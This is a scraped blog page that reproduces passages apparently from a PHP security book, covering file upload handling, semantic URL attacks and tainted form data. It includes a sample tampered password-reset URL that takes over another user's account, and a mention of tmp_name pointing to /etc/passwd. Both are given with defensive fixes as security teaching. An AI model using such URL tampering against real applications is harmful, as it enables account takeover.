style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></form></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The hidden form variable <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">MAX_FILE_SIZE</span></span> indicates the maximum file size (in bytes) that the browser should allow. As with any client-side restriction, this is easily defeated by an attacker, but it can act as a guide for your legitimate users. The restriction needs to be enforced on the server side in order to be considered reliable.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The receiving script, upload.php, displays the contents of the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$_FILES</span></span> superglobal array:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">header('Content-Type: text/plain');</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">print_r($_FILES);</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">To see this process in action, consider a simple file called author.txt:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Chris Shiflett</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">http://shiflett.org/</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">When you upload this file to the upload.php script, you see output similar to the following in your browser:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Array</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">(</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">[attachment] => Array</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">(</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">[name] => author.txt</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">[type] => text/plain</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">[tmp_name] => /tmp/phpShfltt</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">[error] => 0</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">[size] => 36</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">)</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">)</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">While this illustrates exactly what PHP provides in the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$_FILES</span></span> superglobal array, it doesn't help identify the origin of any of this information. A security-conscious developer needs to be able to identify input, and in order to reveal exactly what the browser sends, it is necessary to examine the HTTP request:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">POST /upload.php HTTP/1.1</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Host: example.org</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Content-Type: multipart/form-data; boundary=----------12345</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Content-Length: 245</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">----------12345</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Content-Disposition: form-data; name="attachment"; filename="author.txt"</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Content-Type: text/plain</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Chris Shiflett</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">http://shiflett.org/</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">----------12345</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Content-Disposition: form-data; name="MAX_FILE_SIZE"</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">1024</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">----------12345--</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">While it is not necessary that you understand the format of this request, you should be able to identify the file and its associated metadata. Only <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">name</span></span> and <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">type</span></span> are provided by the user, and therefore <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">tmp_name</span></span>, <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">error</span></span>, and <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">size</span></span> are provided by PHP.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Because PHP stores an uploaded file in a temporary place on the filesystem (/tmp/phpShfltt in this example), common tasks include moving it somewhere more permanent and reading it into memory. If your code uses tmp_name without verifying that it is in fact the uploaded file (and not something like /etc/passwd), a theoretical risk exists. I refer to this as a theoretical risk because there is no known exploit that allows an attacker to modify tmp_name. However, don't let the lack of an exploit dissuade you from implementing some simple safeguards. New exploits are appearing daily, and a simple step can protect you.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">PHP provides two convenient functions for mitigating these theoretical risks: <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">is_uploaded_file( )</span></span> and <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">move_uploaded_file( )</span></span>. If you want to verify only that the file referenced in <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">tmp_name</span></span> is an uploaded file, you can use <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">is_uploaded_file( )</span></span>:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$filename = $_FILES['attachment']['tmp_name'];</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">if (is_uploaded_file($filename))</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">/* $_FILES['attachment']['tmp_name'] is an uploaded file. */</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">If you want to move the file to a more permanent location, but only if it is an uploaded file, you can use <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">move_uploaded_file( )</span></span>:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$old_filename = $_FILES['attachment']['tmp_name'];</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$new_filename = '/path/to/attachment.txt';</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">if (move_uploaded_file($old_filename, $new_filename))</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">/* $old_filename is an uploaded file, and the move was successful. */</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Lastly, you can use <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">filesize( )</span></span> to verify the size of the file:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$filename = $_FILES['attachment']['tmp_name'];</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">if (is_uploaded_file($filename))</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$size = filesize($filename);</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The purpose of these safeguards is to add an extra layer of security. A best practice is always to trust as little as possible.</span></p></div>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-9118022163677266850.post-43952499364976435962007-01-17T22:00:00.000-08:002010-05-11T01:48:37.103-07:00Semantic URL Attacks<div>Curiosity is the motivation behind many attacks, and semantic URL attacks are a perfect example. This type of attack involves the user modifying the URL in order to discover what interesting things can be done. For example, if the user <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">chris</span></span> clicks a link in your application and arrives at <span style="color: rgb(0, 0, 255);"><u><a href="http://example.org/private.php?user=chris" target="_blank">http://example.org/private.php?user=chris</a></u></span>, it is reasonable to assume that he will try to see what happens when the value for <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">user</span></span> is changed. For example, <span class="fullpost">he might visit <span style="color: rgb(0, 0, 255);"><u><a href="http://example.org/private.php?user=rasmus" target="_blank">http://example.org/private.php?user=rasmus</a></u></span> to see if he can access someone else's information. While <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">GET</span></span> data is only slightly more convenient to manipulate than <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">POST</span></span> data, its increased exposure makes it a more frequent target, particularly for novice attackers.<p></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Most vulnerabilities exist because of oversight, not because of any particular complexity associated with the exploits. Any experienced developer can easily recognize the danger in trusting a URL in the way just described, but this isn't always clear until someone points it out.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">To better illustrate a semantic URL attack and how a vulnerability can go unnoticed, consider a web-based email application where users can log in and check their <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">example.org</span></span> email accounts. Any application that requires its users to log in needs to provide a password reminder mechanism. A common technique for this is to ask the user a question that a random attacker is unlikely to know (the mother's maiden name is a common query, but allowing the user to specify a unique question and its answer is better) and email a new password to the email address already stored in the user's account.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">With a web-based email application, an email address may not already be stored, so a user who answers the verification question may be asked to provide one (the purpose being not only to send the new password to this address, but also to collect an alternative address for future use). The following form asks a user for an alternative email address, and the account name is identified in a hidden form variable:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><form action="reset.php" method="GET"></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><input type="hidden" name="user" value="chris" /></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><p>Please specify the email address where you want your new password sent:</p></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><input type="text" name="email" /><br /></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><input type="submit" value="Send Password" /></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></form></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">The receiving script, <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">reset.php</span></span>, has all of the information it needs to reset the password and send the emailthe name of the account that needs to have its password reset and the email address where the new password is to be sent.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">If a user arrives at this form (after answering the verification question correctly), you are reasonably assured that the user is not an imposter but rather the legitimate owner of the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">chris</span></span> account. If this user then provides chris@example.org as the alternative email address, he arrives at the following URL after submitting the form:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">http://example.org/reset.php?user=chris&email=chris%40example.org</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">This URL is what appears in the location bar of the browser, so a user who goes through this process can easily identify the purpose of the variables <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">user</span></span> and <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">email</span></span>. After recognizing this, the user may decide that php@example.org would be a really cool email address to have, so this same user might visit the following URL as an experiment:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">http://example.org/reset.php?user=php&email=chris%40example.org</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">If reset.php trusts these values provided by the user, it is vulnerable to a semantic URL attack. A new password will be generated for the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">php</span></span> account, and it will be sent to chris@example.org, effectively allowing <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">chris</span></span> to steal the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">php</span></span> account.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">If sessions are being used to keep track of things, this can be avoided easily:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">session_start();</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$clean = array();</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">if (preg_match($email_pattern, $_POST['email']))</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$clean['email'] = $_POST['email'];</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$user = $_SESSION['user'];</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$new_password = md5(uniqid(rand(), TRUE));</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">if ($_SESSION['verified'])</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">{</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">/* Update Password */</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">mail($clean['email'], 'Your New Password', $new_password);</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">}</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Although this example omits some realistic details (such as a more complete email message or a more reasonable password), it demonstrates a lack of trust given to the email address provided by the user and, more importantly, session variables that keep up with whether the current user has already answered the verification question correctly (<span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$_SESSION['verified']</span></span>) and the name of the account for which the verification question was answered (<span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$_SESSION['user']</span></span>). It is this lack of trust given to input that is the key to preventing such gaping holes in your applications.</p></span></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-9118022163677266850.post-14795813583710312682007-01-17T21:49:00.000-08:002010-05-11T01:50:19.428-07:00Forms and Data<div>When developing a typical PHP application, the bulk of your logic involves data processingtasks such as determining whether a user has logged in successfully, adding items to a shopping cart, and processing a credit card transaction.<p></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Data can come from numerous sources, and as a security-conscious developer, you want to be able to easily and reliably distinguish between two distinct types of data:</p> <ul><li><p style="margin-top: 0.49cm; margin-bottom: 0cm;">Filtered data</p> </li><li><p style="margin-bottom: 0.49cm;">Tainted data</p> </li></ul> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Anything that you create yourself is trustworthy and can be considered filtered. An example of data that you create yourself is anything hardcoded, such as the email address in the following example:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$email = 'chris@example.org';</span></span></p> <p style="margin-bottom: 0cm;"><span class="fullpost"><span class="fullpost"><br /></span></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"><a name="IDX-CHP-2-0166"></a> This email address, chris@example.org, does not come from any remote source. This obvious observation is what makes it trustworthy. Any data that originates from a remote source is input, and all input is tainted , which is why it must always be filtered before you use it.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;"><a name="IDX-CHP-2-0167"></a> Tainted data is anything that is not guaranteed to be valid, such as form data submitted by the user, email retrieved from an IMAP server, or an XML document sent from another web application. In the previous example, <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$email</span></span> is a variable that contains filtered datathe data is the important part, not the variable. A variable is just a container for the data, and it can always be overwritten later in the script with tainted data :</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$email = $_POST['email'];</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Of course, this is why <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">$email</span></span> is called a variable. If you don't want the data to change, use a constant instead:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">define('EMAIL', 'chris@example.org');</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">When defined with the syntax shown here, <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">EMAIL</span></span> is a constant whose value is <span style="color: rgb(0, 0, 255);"><u><a href="mailto:chris@example.org">chris@example.org</a></u></span> for the duration of the script, even if you attempt to assign it another value (perhaps by accident). For example, the following code outputs <span style="color: rgb(0, 0, 255);"><u><a href="mailto:chris@example.org">chris@example.org</a></u></span> (the attempt to redefine <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">EMAIL</span></span> also generates a notice):</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><?php</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">define('EMAIL', 'chris@example.org');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">define('EMAIL', 'rasmus@example.org');</span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">echo EMAIL;</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">?></span></span></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Although a user can send data in multiple ways, most applications take the most important actions as the result of a form submission. In addition, because an attacker can do harm only by manipulating anticipated data (data that your application does something with), forms provide a convenient openinga blueprint of your application that indicates what data you plan to use. This is why form processing is one of the primary concerns of the web application security discipline.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">A user can send data to your application in three predominant ways:</p> <ul><li><p style="margin-top: 0.49cm; margin-bottom: 0cm;">In the URL (e.g., <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">GET</span></span> data)</p> </li><li><p style="margin-bottom: 0cm;">In the content of a request (e.g., <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">POST</span></span> data)</p> </li><li><p style="margin-bottom: 0.49cm;">In an HTTP header (e.g., <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Cookie</span></span>)</p> </li></ul> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">Form data is sent using either the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">GET</span></span> or <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">POST</span></span> request method. When you create an HTML form, you specify the request method in the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">method</span></span> attribute of the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">form</span></span> tag:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><form action="http://example.org/register.php" method="GET"></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">When the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">GET</span></span> request method is specified, as this example illustrates, the browser sends the form data as the query string of the URL. For example, consider the following form:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><form action="http://example.org/login.php" method="GET"></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><p>Username: <input type="text" name="username" /></p></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><p>Password: <input type="password" name="password" /></p></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><p><input type="submit" /></p></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></form></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">If I enter the username <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">chris</span></span> and the password <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">mypass</span></span>, I arrive at <span style="color: rgb(0, 0, 255);"><u><a href="http://example.org/login.php?username=chris&password=mypass" target="_blank">http://example.org/login.php?username=chris&password=mypass</a></u></span> after submitting the form. The simplest valid <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">HTTP/1.1</span></span> request for this URL is as follows:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">GET /login.php?username=chris&password=mypass HTTP/1.1</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Host: example.org</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">It's not necessary to use the HTML form to request this URL. In fact, there is no difference between a <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">GET</span></span> request sent as the result of a user submitting an HTML form and one sent as the result of a user clicking a link.</p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">To illustrate the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">POST</span></span> request method, consider the previous example with a simple modification to the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">method</span></span> attribute of the <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">form</span></span> tag that specifies <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">POST</span></span> instead of <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">GET</span></span>:</p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><form action="http://example.org/login.php" method="POST"></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><p>Username: <input type="text" name="username" /></p></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><p>Password: <input type="password" name="password" /></p></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"><p><input type="submit" /></p></span></span></p> <p style="margin-bottom: 0cm; color: rgb(153, 0, 0);"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;"></form></span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; margin-bottom: 0.49cm;">If I again specify <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">chris</span></span> as my username and <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">mypass</span></span> as my password, I arrive at <span style="color: rgb(0, 0, 255);"><u><a href="http://example.org/login.php" target="_blank">http://example.org/login.php</a></u></span> after submitting the form. The form data is in the content of the request rather than in the query string of the requested URL. The simplest valid <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">HTTP/1.1</span></span> request that illustrates this is as follows:</p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">POST /login.php HTTP/1.1</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Host: example.org</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Content-Type: application/x-www-form-urlencoded</span></span></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">Content-Length: 30</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-bottom: 0cm;"> <span style="font-family:Courier New,monospace;"><span style="font-size:85%;">username=chris&password=mypass</span></span></p> <p style="margin-bottom: 0cm;"><br /></p> <p style="margin-top: 0.49cm; 